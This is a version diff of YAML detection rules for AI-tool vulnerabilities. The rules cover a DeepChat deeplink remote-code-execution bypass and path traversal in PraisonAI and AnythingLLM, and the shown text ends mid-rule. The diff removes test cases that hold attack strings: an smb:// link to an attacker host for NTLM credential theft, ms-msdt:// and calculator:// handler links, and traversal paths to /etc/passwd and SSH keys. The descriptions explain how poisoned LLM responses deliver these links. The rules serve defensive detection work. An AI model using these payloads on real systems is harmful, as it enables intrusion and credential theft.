agent-threat-rules 4.0.0 → 4.2.0

package/rules/tool-poisoning/ATR-2026-01968-deepchat-markdown-deeplink-openexternal-rce-bypass.yaml

@@ -1,64 +1,55 @@
-title: "DeepChat Markdown Deeplink shell.openExternal Protocol Bypass RCE (CVE-2026-43899, GHSA-cp8j-jx7q-7r5f)"
+title: DeepChat Markdown Deeplink shell.openExternal Protocol Bypass RCE (CVE-2026-43899, GHSA-cp8j-jx7q-7r5f)
 id: ATR-2026-01968
 rule_version: 1
 status: experimental
-description: >
-  Detects CVE-2026-43899 / GHSA-cp8j-jx7q-7r5f (CRITICAL): incomplete fix of
-  CVE-2025-55733 in ThinkInAIXYZ/deepchat (< 1.0.4-beta.1). The native Electron
-  window handler in src/main/presenter/tabPresenter.ts calls shell.openExternal(url)
-  inside setWindowOpenHandler() without the ALLOWED_PROTOCOLS check that exists in
-  the renderer preload, so a Markdown link rendered with target="_blank" reaches
-  the OS protocol handler unsanitised. A poisoned LLM API response (e.g. from a
-  custom /v1/chat/completions endpoint) returns Markdown such as
-  "[click here](calculator://)" or "[open](smb://attacker/share)" to launch
-  arbitrary protocol handlers (calculator://, smb://, ms-msdt://, bash://,
-  file://) for host-level code execution and NTLM credential theft over SMB.
-author: "ATR Community"
-date: "2026/06/29"
-schema_version: "0.1"
+description: |
+  Detects CVE-2026-43899 / GHSA-cp8j-jx7q-7r5f (CRITICAL): incomplete fix of CVE-2025-55733 in ThinkInAIXYZ/deepchat (< 1.0.4-beta.1). The native Electron window handler in src/main/presenter/tabPresenter.ts calls shell.openExternal(url) inside setWindowOpenHandler() without the ALLOWED_PROTOCOLS check that exists in the renderer preload, so a Markdown link rendered with target="_blank" reaches the OS protocol handler unsanitised. A poisoned LLM API response (e.g. from a custom /v1/chat/completions endpoint) returns Markdown such as "[click here](calculator://)" or "[open](smb://attacker/share)" to launch arbitrary protocol handlers (calculator://, smb://, ms-msdt://, bash://, file://) for host-level code execution and NTLM credential theft over SMB.
+author: ATR Community
+date: 2026/06/29
+schema_version: '0.1'
 detection_tier: pattern
 maturity: test
 severity: critical
 references:
   owasp_llm:
-    - "LLM06:2025"
-    - "LLM05:2025"
+    - LLM06:2025
+    - LLM05:2025
   owasp_agentic:
-    - "ASI06:2026"
-    - "ASI05:2026"
+    - ASI06:2026
+    - ASI05:2026
   mitre_atlas:
-    - "AML.T0049 - Exploit Public-Facing Application"
+    - AML.T0049 - Exploit Public-Facing Application
   mitre_attack:
-    - "T1190 - Exploit Public-Facing Application"
-    - "T1204.001 - User Execution: Malicious Link"
+    - T1190 - Exploit Public-Facing Application
+    - 'T1204.001 - User Execution: Malicious Link'
   cve:
-    - "CVE-2026-43899"
-    - "GHSA-cp8j-jx7q-7r5f"
+    - CVE-2026-43899
+    - GHSA-cp8j-jx7q-7r5f
 metadata_provenance:
   mitre_atlas: human-reviewed
   owasp_llm: human-reviewed
   owasp_agentic: human-reviewed
 compliance:
   eu_ai_act:
-    - article: "15"
-      context: "Article 15 (accuracy, robustness, cybersecurity) — runtime detection of this technique is a cybersecurity control for high-risk AI systems. Technique: DeepChat Markdown Deeplink shell.openExternal Protocol Bypass RCE (CVE-2026-43899, GHSA-cp8j-jx7q-7r5f)."
+    - article: '15'
+      context: 'Article 15 (accuracy, robustness, cybersecurity) — runtime detection of this technique is a cybersecurity control for high-risk AI systems. Technique: DeepChat Markdown Deeplink shell.openExternal Protocol Bypass RCE (CVE-2026-43899, GHSA-cp8j-jx7q-7r5f).'
       strength: primary
-    - article: "9"
-      context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control. Technique: DeepChat Markdown Deeplink shell.openExternal Protocol Bypass RCE (CVE-2026-43899, GHSA-cp8j-jx7q-7r5f)."
+    - article: '9'
+      context: 'Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control. Technique: DeepChat Markdown Deeplink shell.openExternal Protocol Bypass RCE (CVE-2026-43899, GHSA-cp8j-jx7q-7r5f).'
       strength: secondary
   nist_ai_rmf:
-    - subcategory: "MP.5.1"
-      context: "NIST AI RMF MAP 5.1 — likelihood and impact of the identified attack are characterised; this rule detects the adversarial input at runtime. Technique: DeepChat Markdown Deeplink shell.openExternal Protocol Bypass RCE (CVE-2026-43899, GHSA-cp8j-jx7q-7r5f)."
+    - subcategory: MP.5.1
+      context: 'NIST AI RMF MAP 5.1 — likelihood and impact of the identified attack are characterised; this rule detects the adversarial input at runtime. Technique: DeepChat Markdown Deeplink shell.openExternal Protocol Bypass RCE (CVE-2026-43899, GHSA-cp8j-jx7q-7r5f).'
       strength: primary
-    - subcategory: "MG.3.2"
-      context: "NIST AI RMF MANAGE 3.2 — runtime monitoring/maintenance control that surfaces this attack class. Technique: DeepChat Markdown Deeplink shell.openExternal Protocol Bypass RCE (CVE-2026-43899, GHSA-cp8j-jx7q-7r5f)."
+    - subcategory: MG.3.2
+      context: 'NIST AI RMF MANAGE 3.2 — runtime monitoring/maintenance control that surfaces this attack class. Technique: DeepChat Markdown Deeplink shell.openExternal Protocol Bypass RCE (CVE-2026-43899, GHSA-cp8j-jx7q-7r5f).'
       strength: secondary
   iso_42001:
-    - clause: "8.1"
-      context: "ISO/IEC 42001 Clause 8.1 (operational planning and control) — detection of this payload is an operational control. Technique: DeepChat Markdown Deeplink shell.openExternal Protocol Bypass RCE (CVE-2026-43899, GHSA-cp8j-jx7q-7r5f)."
+    - clause: '8.1'
+      context: 'ISO/IEC 42001 Clause 8.1 (operational planning and control) — detection of this payload is an operational control. Technique: DeepChat Markdown Deeplink shell.openExternal Protocol Bypass RCE (CVE-2026-43899, GHSA-cp8j-jx7q-7r5f).'
       strength: primary
-    - clause: "8.3"
-      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) — this rule implements runtime detection as a treatment control. Technique: DeepChat Markdown Deeplink shell.openExternal Protocol Bypass RCE (CVE-2026-43899, GHSA-cp8j-jx7q-7r5f)."
+    - clause: '8.3'
+      context: 'ISO/IEC 42001 Clause 8.3 (AI risk treatment) — this rule implements runtime detection as a treatment control. Technique: DeepChat Markdown Deeplink shell.openExternal Protocol Bypass RCE (CVE-2026-43899, GHSA-cp8j-jx7q-7r5f).'
       strength: secondary
 tags:
   category: tool-poisoning
@@ -76,73 +67,34 @@ agent_source:
 detection:
   condition: any
   false_positives:
-    - "Benign Markdown link to an https:// or http:// web page, e.g. [docs](https://example.com)."
-    - "Legitimate [open file](file:///Users/me/report.pdf) link to a local document with no UNC/SMB host."
-    - "Mitigation advisory text recommending upgrade to deepchat 1.0.4-beta.1 without a deeplink payload."
-    - "Electron docs describing setWindowOpenHandler returning { action: 'deny' } with a proper protocol allowlist."
+    - Benign Markdown link to an https:// or http:// web page, e.g. [docs](https://example.com).
+    - Legitimate [open file](file:///Users/me/report.pdf) link to a local document with no UNC/SMB host.
+    - Mitigation advisory text recommending upgrade to deepchat 1.0.4-beta.1 without a deeplink payload.
+    - 'Electron docs describing setWindowOpenHandler returning { action: ''deny'' } with a proper protocol allowlist.'
   conditions:
     - field: content
       operator: regex
-      value: '(?i)\]\(\s*(?:calculator|smb|ms-msdt|search-ms|ms-officecmd|bash|sh|cmd|vbscript|jar|tel|telnet)://[^)\s]*\)'
-      description: >
-        Markdown link whose target is a dangerous OS protocol handler scheme
-        (calculator/smb/ms-msdt/bash/etc.) — the CVE-2026-43899 deeplink payload
-        shape that bypasses shell.openExternal protocol validation.
+      value: (?i)\]\(\s*(?:calculator|smb|ms-msdt|search-ms|ms-officecmd|bash|sh|cmd|vbscript|jar|tel|telnet)://[^)\s]*\)
+      description: |
+        Markdown link whose target is a dangerous OS protocol handler scheme (calculator/smb/ms-msdt/bash/etc.) — the CVE-2026-43899 deeplink payload shape that bypasses shell.openExternal protocol validation.
     - field: content
       operator: regex
-      value: '(?i)\]\(\s*(?:file|smb)://(?://|\\\\|[a-z0-9._-]+/[a-z0-9$._-]+)[^)\s]*\)'
-      description: >
-        Markdown link to a UNC / SMB share path (file://// , file://host/share,
-        smb://host/share) used to trigger NTLM credential leak over SMB.
+      value: (?i)\]\(\s*(?:file|smb)://(?://|\\\\|[a-z0-9._-]+/[a-z0-9$._-]+)[^)\s]*\)
+      description: |
+        Markdown link to a UNC / SMB share path (file://// , file://host/share, smb://host/share) used to trigger NTLM credential leak over SMB.
     - field: content
       operator: regex
-      value: '(?i)setWindowOpenHandler\s*\([^)]*\)[\s\S]{0,200}shell\.openExternal\s*\(\s*url'
-      description: >
-        Vulnerable native sink: setWindowOpenHandler passing the raw url to
-        shell.openExternal without an ALLOWED_PROTOCOLS check (tabPresenter.ts).
+      value: (?i)setWindowOpenHandler\s*\([^)]*\)[\s\S]{0,200}shell\.openExternal\s*\(\s*url
+      description: |
+        Vulnerable native sink: setWindowOpenHandler passing the raw url to shell.openExternal without an ALLOWED_PROTOCOLS check (tabPresenter.ts).
     - field: content
       operator: regex
-      value: '(?i)(?:CVE-2026-43899|GHSA-cp8j-jx7q-7r5f|CVE-2025-55733)[\s\S]{0,200}(?:openExternal|setWindowOpenHandler|protocol\s*bypass|deeplink|calculator://|smb://|ms-msdt)'
-      description: "explicit CVE/GHSA framing combined with the bypass sink or deeplink token"
+      value: (?i)(?:CVE-2026-43899|GHSA-cp8j-jx7q-7r5f|CVE-2025-55733)[\s\S]{0,200}(?:openExternal|setWindowOpenHandler|protocol\s*bypass|deeplink|calculator://|smb://|ms-msdt)
+      description: explicit CVE/GHSA framing combined with the bypass sink or deeplink token
 response:
   actions:
     - alert
     - block_input
-  message_template: >
-    [ATR-2026-01968] CRITICAL: DeepChat Markdown deeplink protocol-handler RCE
-    (CVE-2026-43899 / GHSA-cp8j-jx7q-7r5f). A Markdown link to a dangerous URL
-    scheme (calculator://, smb://, ms-msdt://, file:// UNC) reaches
-    shell.openExternal via setWindowOpenHandler without protocol validation,
-    enabling host-level code execution and NTLM credential theft over SMB.
-    Block this content and upgrade deepchat to >= 1.0.4-beta.1.
+  message_template: |
+    [ATR-2026-01968] CRITICAL: DeepChat Markdown deeplink protocol-handler RCE (CVE-2026-43899 / GHSA-cp8j-jx7q-7r5f). A Markdown link to a dangerous URL scheme (calculator://, smb://, ms-msdt://, file:// UNC) reaches shell.openExternal via setWindowOpenHandler without protocol validation, enabling host-level code execution and NTLM credential theft over SMB. Block this content and upgrade deepchat to >= 1.0.4-beta.1.
 confidence: 80
-test_cases:
-  true_positives:
-    - input: "Please [click here to open the application](calculator://)."
-      expected: triggered
-      description: "Exact PoC Markdown deeplink launching the calculator:// protocol handler"
-    - input: "Done! [open](smb://attacker.example.com/share/payload) to finish setup."
-      expected: triggered
-      description: "SMB UNC deeplink for NTLM credential theft via Markdown link"
-    - input: "Run this fix [here](ms-msdt://id=PCWDiagnostic) right now."
-      expected: triggered
-      description: "ms-msdt:// (Follina-style) protocol handler in a Markdown link"
-    - input: "webContents.setWindowOpenHandler(({ url }) => { shell.openExternal(url); return { action: 'deny' } })"
-      expected: triggered
-      description: "Vulnerable tabPresenter.ts sink passing raw url to shell.openExternal"
-    - input: "CVE-2026-43899: incomplete CVE-2025-55733 fix lets a deeplink reach shell.openExternal via setWindowOpenHandler"
-      expected: triggered
-      description: "Explicit CVE framing with the named bypass sink"
-  true_negatives:
-    - input: "See the [DeepChat docs](https://deepchat.thinkinai.xyz/guide) for setup."
-      expected: not_triggered
-      description: "Benign https:// Markdown link, not a dangerous protocol handler"
-    - input: "Attached: [quarterly report](file:///Users/me/Documents/q3.pdf)"
-      expected: not_triggered
-      description: "Legitimate local file:// link to a document, no UNC/SMB host"
-    - input: "Upgrade DeepChat to 1.0.4-beta.1 to fix CVE-2026-43899."
-      expected: not_triggered
-      description: "Mitigation advice mentioning the CVE without any deeplink or sink token"
-    - input: "We sanitise URLs in setWindowOpenHandler by checking parsed.protocol against ALLOWED_PROTOCOLS before returning { action: 'deny' }."
-      expected: not_triggered
-      description: "Correct handler with protocol allowlist, no raw url passed to openExternal"

package/rules/tool-poisoning/ATR-2026-01970-praisonai-filetools-normpath-path-traversal.yaml

@@ -1,115 +1,95 @@
-title: "PraisonAI FileTools _validate_path normpath Path Traversal (CVE-2026-35615 / GHSA-693f-pf34-72c5)"
+title: PraisonAI FileTools _validate_path normpath Path Traversal (CVE-2026-35615 / GHSA-693f-pf34-72c5)
 id: ATR-2026-01970
 rule_version: 2
 status: experimental
-description: >
-  Detects exploitation of CVE-2026-35615 (GHSA-693f-pf34-72c5, CWE-22, CVSS 9.2)
-  in PraisonAI < 1.5.113. FileTools._validate_path() calls os.path.normpath()
-  FIRST, collapsing '..' sequences, then checks `if '..' in normalized` — a check
-  that can never fire, so traversal succeeds. An attacker supplies a path such as
-  /tmp/../etc/passwd to read_file / write_file / delete_file and reaches any file
-  on the host. This rule keys on the distinctive normpath-then-dotdot-check sink,
-  the FileTools operation names with a traversal payload, and the canonical
-  /tmp/../etc/passwd PoC.
-author: "ATR Community"
-date: "2026/06/29"
-schema_version: "0.1"
+description: |
+  Detects exploitation of CVE-2026-35615 (GHSA-693f-pf34-72c5, CWE-22, CVSS 9.2) in PraisonAI < 1.5.113. FileTools._validate_path() calls os.path.normpath() FIRST, collapsing '..' sequences, then checks `if '..' in normalized` — a check that can never fire, so traversal succeeds. An attacker supplies a path such as /tmp/../etc/passwd to read_file / write_file / delete_file and reaches any file on the host. This rule keys on the distinctive normpath-then-dotdot-check sink, the FileTools operation names with a traversal payload, and the canonical /tmp/../etc/passwd PoC.
+author: ATR Community
+date: 2026/06/29
+schema_version: '0.1'
 detection_tier: pattern
 maturity: test
 severity: critical
 references:
-  owasp_llm: ["LLM06:2025"]
-  owasp_agentic: ["ASI06:2026"]
-  mitre_atlas: ["AML.T0049 - Exploit Public-Facing Application"]
-  mitre_attack: ["T1190 - Exploit Public-Facing Application"]
-  cve: ["CVE-2026-35615"]
-metadata_provenance: { mitre_atlas: human-reviewed, owasp_llm: human-reviewed, owasp_agentic: human-reviewed }
+  owasp_llm:
+    - LLM06:2025
+  owasp_agentic:
+    - ASI06:2026
+  mitre_atlas:
+    - AML.T0049 - Exploit Public-Facing Application
+  mitre_attack:
+    - T1190 - Exploit Public-Facing Application
+  cve:
+    - CVE-2026-35615
+metadata_provenance:
+  mitre_atlas: human-reviewed
+  owasp_llm: human-reviewed
+  owasp_agentic: human-reviewed
 compliance:
   eu_ai_act:
-    - article: "15"
-      context: "Article 15 (accuracy, robustness, cybersecurity) — runtime detection of this technique is a cybersecurity control for high-risk AI systems. Technique: PraisonAI FileTools _validate_path normpath Path Traversal (CVE-2026-35615 / GHSA-693f-pf34-72c5)."
+    - article: '15'
+      context: 'Article 15 (accuracy, robustness, cybersecurity) — runtime detection of this technique is a cybersecurity control for high-risk AI systems. Technique: PraisonAI FileTools _validate_path normpath Path Traversal (CVE-2026-35615 / GHSA-693f-pf34-72c5).'
       strength: primary
-    - article: "9"
-      context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control. Technique: PraisonAI FileTools _validate_path normpath Path Traversal (CVE-2026-35615 / GHSA-693f-pf34-72c5)."
+    - article: '9'
+      context: 'Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control. Technique: PraisonAI FileTools _validate_path normpath Path Traversal (CVE-2026-35615 / GHSA-693f-pf34-72c5).'
       strength: secondary
   nist_ai_rmf:
-    - subcategory: "MP.5.1"
-      context: "NIST AI RMF MAP 5.1 — likelihood and impact of the identified attack are characterised; this rule detects the adversarial input at runtime. Technique: PraisonAI FileTools _validate_path normpath Path Traversal (CVE-2026-35615 / GHSA-693f-pf34-72c5)."
+    - subcategory: MP.5.1
+      context: 'NIST AI RMF MAP 5.1 — likelihood and impact of the identified attack are characterised; this rule detects the adversarial input at runtime. Technique: PraisonAI FileTools _validate_path normpath Path Traversal (CVE-2026-35615 / GHSA-693f-pf34-72c5).'
       strength: primary
-    - subcategory: "MG.3.2"
-      context: "NIST AI RMF MANAGE 3.2 — runtime monitoring/maintenance control that surfaces this attack class. Technique: PraisonAI FileTools _validate_path normpath Path Traversal (CVE-2026-35615 / GHSA-693f-pf34-72c5)."
+    - subcategory: MG.3.2
+      context: 'NIST AI RMF MANAGE 3.2 — runtime monitoring/maintenance control that surfaces this attack class. Technique: PraisonAI FileTools _validate_path normpath Path Traversal (CVE-2026-35615 / GHSA-693f-pf34-72c5).'
       strength: secondary
   iso_42001:
-    - clause: "8.1"
-      context: "ISO/IEC 42001 Clause 8.1 (operational planning and control) — detection of this payload is an operational control. Technique: PraisonAI FileTools _validate_path normpath Path Traversal (CVE-2026-35615 / GHSA-693f-pf34-72c5)."
+    - clause: '8.1'
+      context: 'ISO/IEC 42001 Clause 8.1 (operational planning and control) — detection of this payload is an operational control. Technique: PraisonAI FileTools _validate_path normpath Path Traversal (CVE-2026-35615 / GHSA-693f-pf34-72c5).'
       strength: primary
-    - clause: "8.3"
-      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) — this rule implements runtime detection as a treatment control. Technique: PraisonAI FileTools _validate_path normpath Path Traversal (CVE-2026-35615 / GHSA-693f-pf34-72c5)."
+    - clause: '8.3'
+      context: 'ISO/IEC 42001 Clause 8.3 (AI risk treatment) — this rule implements runtime detection as a treatment control. Technique: PraisonAI FileTools _validate_path normpath Path Traversal (CVE-2026-35615 / GHSA-693f-pf34-72c5).'
       strength: secondary
-tags: { category: tool-poisoning, subcategory: path-traversal, scan_target: both, confidence: high, source: cve-disclosure, vendor_sources: praisonai-cve-2026-35615 }
-agent_source: { type: llm_io, framework: [any], provider: [any] }
+tags:
+  category: tool-poisoning
+  subcategory: path-traversal
+  scan_target: both
+  confidence: high
+  source: cve-disclosure
+  vendor_sources: praisonai-cve-2026-35615
+agent_source:
+  type: llm_io
+  framework:
+    - any
+  provider:
+    - any
 detection:
   condition: any
   false_positives:
-    - "Legitimate FileTools.read_file('/workspace/data/report.txt') with an absolute path and no '..' traversal segment."
-    - "Security advisory or changelog text that names CVE-2026-35615 but contains no traversal payload."
-    - "Discussion of os.path.normpath usage in code review without a '../' traversal sink."
+    - Legitimate FileTools.read_file('/workspace/data/report.txt') with an absolute path and no '..' traversal segment.
+    - Security advisory or changelog text that names CVE-2026-35615 but contains no traversal payload.
+    - Discussion of os.path.normpath usage in code review without a '../' traversal sink.
   conditions:
     - field: content
       operator: regex
-      value: '(?i)(?:FileTools\.)?(?:read_file|write_file|delete_file|copy_file|move_file|get_file_info|list_files|download_file|_validate_path)\s*\(\s*[''"][^''"\n]{0,80}\.\.[\\/]+[^''"\n]{0,120}(?:etc[\\/]passwd|\.\.[\\/]|[\\/]root[\\/]|id_rsa|shadow)'
-      description: >
-        PraisonAI FileTools operation invoked with a relative path argument that
-        contains a '../' traversal segment reaching a sensitive target — the core
-        CVE-2026-35615 exploit shape.
+      value: (?i)(?:FileTools\.)?(?:read_file|write_file|delete_file|copy_file|move_file|get_file_info|list_files|download_file|_validate_path)\s*\(\s*['"][^'"\n]{0,80}\.\.[\\/]+[^'"\n]{0,120}(?:etc[\\/]passwd|\.\.[\\/]|[\\/]root[\\/]|id_rsa|shadow)
+      description: |
+        PraisonAI FileTools operation invoked with a relative path argument that contains a '../' traversal segment reaching a sensitive target — the core CVE-2026-35615 exploit shape.
     - field: content
       operator: regex
-      value: '(?i)(?:os\.path\.)?normpath\s*\([^)\n]{0,80}\)[\s\S]{0,160}(?:if\s+[''"]\.\.[''"]\s+in\b|[''"]\.\.[''"]\s+in\s+normalized)'
-      description: >
-        The vulnerable validation order: normpath() called first, then an
-        ineffective `'..' in normalized` check — the CVE-2026-35615 logic bug.
+      value: (?i)(?:os\.path\.)?normpath\s*\([^)\n]{0,80}\)[\s\S]{0,160}(?:if\s+['"]\.\.['"]\s+in\b|['"]\.\.['"]\s+in\s+normalized)
+      description: |
+        The vulnerable validation order: normpath() called first, then an ineffective `'..' in normalized` check — the CVE-2026-35615 logic bug.
     - field: content
       operator: regex
-      value: '(?i)[''"/]?tmp[\\/](?:\.\.[\\/])+etc[\\/]+passwd'
-      description: >
-        Canonical /tmp/../etc/passwd traversal PoC string from the advisory. The
-        `tmp/` segment is mandatory: with it optional this condition degenerated
-        into a generic `../../../etc/passwd` matcher, which is the single most
-        common literal in web-security cheat sheets and carries no PraisonAI
-        signal at all. Traversal payloads that do not start in /tmp are still
-        covered by the FileTools-context and CVE-context conditions above/below.
+      value: (?i)['"/]?tmp[\\/](?:\.\.[\\/])+etc[\\/]+passwd
+      description: |
+        Canonical /tmp/../etc/passwd traversal PoC string from the advisory. The `tmp/` segment is mandatory: with it optional this condition degenerated into a generic `../../../etc/passwd` matcher, which is the single most common literal in web-security cheat sheets and carries no PraisonAI signal at all. Traversal payloads that do not start in /tmp are still covered by the FileTools-context and CVE-context conditions above/below.
     - field: content
       operator: regex
-      value: '(?i)CVE-2026-35615[\s\S]{0,200}(?:_validate_path|normpath|path\s*traversal|FileTools|\.\.[\\/])'
-      description: "explicit CVE framing combined with the vulnerable function or traversal token"
+      value: (?i)CVE-2026-35615[\s\S]{0,200}(?:_validate_path|normpath|path\s*traversal|FileTools|\.\.[\\/])
+      description: explicit CVE framing combined with the vulnerable function or traversal token
 response:
-  actions: [alert, block_input]
-  message_template: >
-    [ATR-2026-01970] CRITICAL: PraisonAI FileTools path traversal (CVE-2026-35615) —
-    normpath-then-dotdot-check lets '../' paths escape the workspace and read/write
-    any host file (e.g. /etc/passwd). Block this call and upgrade PraisonAI to >= 1.5.113.
+  actions:
+    - alert
+    - block_input
+  message_template: |
+    [ATR-2026-01970] CRITICAL: PraisonAI FileTools path traversal (CVE-2026-35615) — normpath-then-dotdot-check lets '../' paths escape the workspace and read/write any host file (e.g. /etc/passwd). Block this call and upgrade PraisonAI to >= 1.5.113.
 confidence: 80
-test_cases:
-  true_positives:
-    - input: "FileTools.read_file('/tmp/../etc/passwd')"
-      expected: triggered
-      description: "Canonical advisory PoC — FileTools op with traversal to /etc/passwd"
-    - input: "result = _validate_path('/tmp/../../../root/.ssh/id_rsa')"
-      expected: triggered
-      description: "_validate_path called with multi-level traversal to a secret file"
-    - input: "normalized = os.path.normpath(filepath)\n    if '..' in normalized:\n        raise ValueError"
-      expected: triggered
-      description: "The vulnerable normpath-first then dead '..' check logic bug"
-    - input: "CVE-2026-35615 exploit: write_file('foo/../../../etc/passwd', payload) bypasses _validate_path"
-      expected: triggered
-      description: "Explicit CVE framing with FileTools traversal payload"
-  true_negatives:
-    - input: "FileTools.read_file('/workspace/output/results.json')"
-      expected: not_triggered
-      description: "Legitimate absolute path with no traversal segment"
-    - input: "Upgrade PraisonAI to >= 1.5.113 to remediate CVE-2026-35615."
-      expected: not_triggered
-      description: "Mitigation advisory text without any traversal payload"
-    - input: "We use os.path.normpath() to canonicalize the upload directory before saving."
-      expected: not_triggered
-      description: "Benign normpath mention with no dead '..' check and no traversal"

package/rules/tool-poisoning/ATR-2026-01973-anythingllm-logo-endpoint-path-traversal.yaml

@@ -1,94 +1,87 @@
-title: "AnythingLLM Logo Endpoint Path Traversal File Read/Delete (CVE-2024-3025)"
+title: AnythingLLM Logo Endpoint Path Traversal File Read/Delete (CVE-2024-3025)
 id: ATR-2026-01973
 rule_version: 1
 status: experimental
-description: >
-  Detects CVE-2024-3025 (CWE-23, CVSS CRITICAL): mintplex-labs/anything-llm
-  before 1.0.0 fails to validate the user-supplied logo filename on the
-  /api/system/upload-logo and /api/system/logo endpoints. An authenticated
-  attacker passes path-traversal sequences (../../../) in the logo filename to
-  read or delete arbitrary files outside the assets directory, with the SQLite
-  database storage/anythingllm.db as a high-value target. The fix added a
-  normalizePath() guard. This rule keys on the specific logo endpoint paths
-  combined with ../ traversal (raw or %2e%2e%2f-encoded) into storage/anythingllm.db.
-author: "ATR Community"
-date: "2026/06/29"
-schema_version: "0.1"
+description: |
+  Detects CVE-2024-3025 (CWE-23, CVSS CRITICAL): mintplex-labs/anything-llm before 1.0.0 fails to validate the user-supplied logo filename on the /api/system/upload-logo and /api/system/logo endpoints. An authenticated attacker passes path-traversal sequences (../../../) in the logo filename to read or delete arbitrary files outside the assets directory, with the SQLite database storage/anythingllm.db as a high-value target. The fix added a normalizePath() guard. This rule keys on the specific logo endpoint paths combined with ../ traversal (raw or %2e%2e%2f-encoded) into storage/anythingllm.db.
+author: ATR Community
+date: 2026/06/29
+schema_version: '0.1'
 detection_tier: pattern
 maturity: test
 severity: critical
 references:
-  owasp_llm: ["LLM06:2025"]
-  owasp_agentic: ["ASI06:2026"]
-  mitre_atlas: ["AML.T0049 - Exploit Public-Facing Application"]
-  mitre_attack: ["T1190 - Exploit Public-Facing Application"]
-  cve: ["CVE-2024-3025"]
-metadata_provenance: { mitre_atlas: human-reviewed, owasp_llm: human-reviewed, owasp_agentic: human-reviewed }
+  owasp_llm:
+    - LLM06:2025
+  owasp_agentic:
+    - ASI06:2026
+  mitre_atlas:
+    - AML.T0049 - Exploit Public-Facing Application
+  mitre_attack:
+    - T1190 - Exploit Public-Facing Application
+  cve:
+    - CVE-2024-3025
+metadata_provenance:
+  mitre_atlas: human-reviewed
+  owasp_llm: human-reviewed
+  owasp_agentic: human-reviewed
 compliance:
   eu_ai_act:
-    - article: "15"
-      context: "Article 15 (accuracy, robustness, cybersecurity) — runtime detection of this technique is a cybersecurity control for high-risk AI systems. Technique: AnythingLLM Logo Endpoint Path Traversal File Read/Delete (CVE-2024-3025)."
+    - article: '15'
+      context: 'Article 15 (accuracy, robustness, cybersecurity) — runtime detection of this technique is a cybersecurity control for high-risk AI systems. Technique: AnythingLLM Logo Endpoint Path Traversal File Read/Delete (CVE-2024-3025).'
       strength: primary
-    - article: "9"
-      context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control. Technique: AnythingLLM Logo Endpoint Path Traversal File Read/Delete (CVE-2024-3025)."
+    - article: '9'
+      context: 'Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control. Technique: AnythingLLM Logo Endpoint Path Traversal File Read/Delete (CVE-2024-3025).'
       strength: secondary
   nist_ai_rmf:
-    - subcategory: "MP.5.1"
-      context: "NIST AI RMF MAP 5.1 — likelihood and impact of the identified attack are characterised; this rule detects the adversarial input at runtime. Technique: AnythingLLM Logo Endpoint Path Traversal File Read/Delete (CVE-2024-3025)."
+    - subcategory: MP.5.1
+      context: 'NIST AI RMF MAP 5.1 — likelihood and impact of the identified attack are characterised; this rule detects the adversarial input at runtime. Technique: AnythingLLM Logo Endpoint Path Traversal File Read/Delete (CVE-2024-3025).'
       strength: primary
-    - subcategory: "MG.3.2"
-      context: "NIST AI RMF MANAGE 3.2 — runtime monitoring/maintenance control that surfaces this attack class. Technique: AnythingLLM Logo Endpoint Path Traversal File Read/Delete (CVE-2024-3025)."
+    - subcategory: MG.3.2
+      context: 'NIST AI RMF MANAGE 3.2 — runtime monitoring/maintenance control that surfaces this attack class. Technique: AnythingLLM Logo Endpoint Path Traversal File Read/Delete (CVE-2024-3025).'
       strength: secondary
   iso_42001:
-    - clause: "8.1"
-      context: "ISO/IEC 42001 Clause 8.1 (operational planning and control) — detection of this payload is an operational control. Technique: AnythingLLM Logo Endpoint Path Traversal File Read/Delete (CVE-2024-3025)."
+    - clause: '8.1'
+      context: 'ISO/IEC 42001 Clause 8.1 (operational planning and control) — detection of this payload is an operational control. Technique: AnythingLLM Logo Endpoint Path Traversal File Read/Delete (CVE-2024-3025).'
       strength: primary
-    - clause: "8.3"
-      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) — this rule implements runtime detection as a treatment control. Technique: AnythingLLM Logo Endpoint Path Traversal File Read/Delete (CVE-2024-3025)."
+    - clause: '8.3'
+      context: 'ISO/IEC 42001 Clause 8.3 (AI risk treatment) — this rule implements runtime detection as a treatment control. Technique: AnythingLLM Logo Endpoint Path Traversal File Read/Delete (CVE-2024-3025).'
       strength: secondary
-tags: { category: tool-poisoning, subcategory: path-traversal, scan_target: both, confidence: high, source: cve-disclosure, vendor_sources: anythingllm-cve-2024-3025 }
-agent_source: { type: llm_io, framework: [any], provider: [any] }
+tags:
+  category: tool-poisoning
+  subcategory: path-traversal
+  scan_target: both
+  confidence: high
+  source: cve-disclosure
+  vendor_sources: anythingllm-cve-2024-3025
+agent_source:
+  type: llm_io
+  framework:
+    - any
+  provider:
+    - any
 detection:
   condition: any
   false_positives:
-    - "Legitimate logo upload/fetch hitting /api/system/upload-logo or /api/system/logo with a normal filename like my-logo.png and no ../ sequence."
-    - "Documentation or changelog mentioning the logo endpoints without a traversal payload."
+    - Legitimate logo upload/fetch hitting /api/system/upload-logo or /api/system/logo with a normal filename like my-logo.png and no ../ sequence.
+    - Documentation or changelog mentioning the logo endpoints without a traversal payload.
   conditions:
     - field: content
       operator: regex
-      value: '(?i)/api/system/(?:upload-)?logo[\s\S]{0,200}(?:\.\./|\.\.%2f|%2e%2e%2f|%2e%2e/){2,}[\s\S]{0,120}(?:storage[/\\])?anythingllm\.db'
-      description: "AnythingLLM logo endpoint hit with multi-level ../ traversal (raw or URL-encoded) reaching storage/anythingllm.db"
+      value: (?i)/api/system/(?:upload-)?logo[\s\S]{0,200}(?:\.\./|\.\.%2f|%2e%2e%2f|%2e%2e/){2,}[\s\S]{0,120}(?:storage[/\\])?anythingllm\.db
+      description: AnythingLLM logo endpoint hit with multi-level ../ traversal (raw or URL-encoded) reaching storage/anythingllm.db
     - field: content
       operator: regex
-      value: '(?i)/api/system/(?:upload-)?logo[\s\S]{0,200}(?:filename|logo)=[\s\S]{0,40}(?:\.\./|%2e%2e%2f|\.\.%2f){2,}'
-      description: "Logo filename/logo query param carrying multi-level path-traversal sequences on the logo endpoint"
